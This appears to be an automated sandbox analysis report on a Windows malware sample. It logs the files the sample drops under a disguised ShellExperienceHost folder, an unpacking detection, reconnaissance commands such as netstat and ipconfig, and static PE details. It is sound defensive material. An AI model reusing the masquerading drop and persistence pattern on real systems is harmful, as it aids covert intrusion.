Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\extern\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\backports\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32com\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\
Source: C:\ProgramData\lua\lua.exe	Process created: unknown unknown
Source: C:\ProgramData\lua\lua.exe	Process created: unknown unknown
Source: C:\ProgramData\lua\lua.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: 8v4iWYLvKJ.exe

Static PE information: certificate valid

Source: 8v4iWYLvKJ.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 8v4iWYLvKJ.exe

Static file information: File size 2192640 > 1048576

Source: C:\ProgramData\lua\luac.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: 8v4iWYLvKJ.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x110a00

Source: 8v4iWYLvKJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 8v4iWYLvKJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 8v4iWYLvKJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 8v4iWYLvKJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 8v4iWYLvKJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 8v4iWYLvKJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 8v4iWYLvKJ.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source: 8v4iWYLvKJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\coding\rust\armutil\bin\target\release\deps\Flash.pdb source: 8v4iWYLvKJ.exe, 00000001.00000000.199882317.00007FF6567BE000.00000002.00020000.sdmp
Source:	Binary string: D:\coding\lua\WinFeature.pdb source: lua.exe, 0000001D.00000003.286776312.000000000096D000.00000004.00000001.sdmp
Source:	Binary string: c:\workspace\GTChecker\plutus\main\dev\target\win\Release\GTCheck.pdb source: Flash.exe, 00000004.00000003.207618804.0000000002EF0000.00000004.00000001.sdmp

Source: 8v4iWYLvKJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 8v4iWYLvKJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 8v4iWYLvKJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 8v4iWYLvKJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 8v4iWYLvKJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Roaming\Flash.exe

Unpacked PE file: 4.2.Flash.exe.1010000.1.unpack .text:EW;.rsrc:EW;.reloc:W; vs .text:ER;.rsrc:EW;.reloc:W;

Source: C:\Users\user\AppData\Roaming\Flash.exe

Code function: 4_2_01215E98 RtlEncodePointer,RtlEncodePointer,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

4_2_01215E98

Source: 8v4iWYLvKJ.exe

Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E901D push 01000001h; ret	1_2_00007FF6566E9024
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_004026AD push ecx; ret	2_2_004026C0
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_00594BE0 push eax; ret	2_2_00594C0E
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_005E4E1D push ecx; ret	2_2_005E4E30
Source: C:\Users\user\AppData\Roaming\Flash.exe	Code function: 4_2_012046D5 push ecx; ret	4_2_012046E8
Source: C:\Users\user\AppData\Roaming\Flash.exe	Code function: 4_2_0B0D83A9 push esi; ret	4_2_0B0D83B4
Source: C:\Users\user\AppData\Roaming\Flash.exe	Code function: 4_2_0B0D89B2 push esi; ret	4_2_0B0D89B4
Source: C:\Users\user\AppData\Roaming\Flash.exe	Code function: 4_2_0B0D8293 push esi; ret	4_2_0B0D8295

Persistence and Installation Behavior:

Uses ipconfig to lookup or modify the Windows network settings

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all

Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\libcrypto-1_1-x64.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psutil_windows.cp37-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\luac.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\mime\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\authorization.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\effil.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\lua51.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-32.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_openssl.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-64.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\alien\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\adsi.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\lua\ScheduleTask.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pywintypes37.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\gui-64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\zip.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\socket\core.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\libssl-1_1-x64.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\lua5.1.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\ProgramData\lua\lua.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pythoncom37.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\cli-32.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\_padding.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\axdebug.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File created: C:\Users\user\AppData\Roaming\Flash.exe	Jump to dropped file
Source: C:\ProgramData\lua\lua.exe	File created: C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
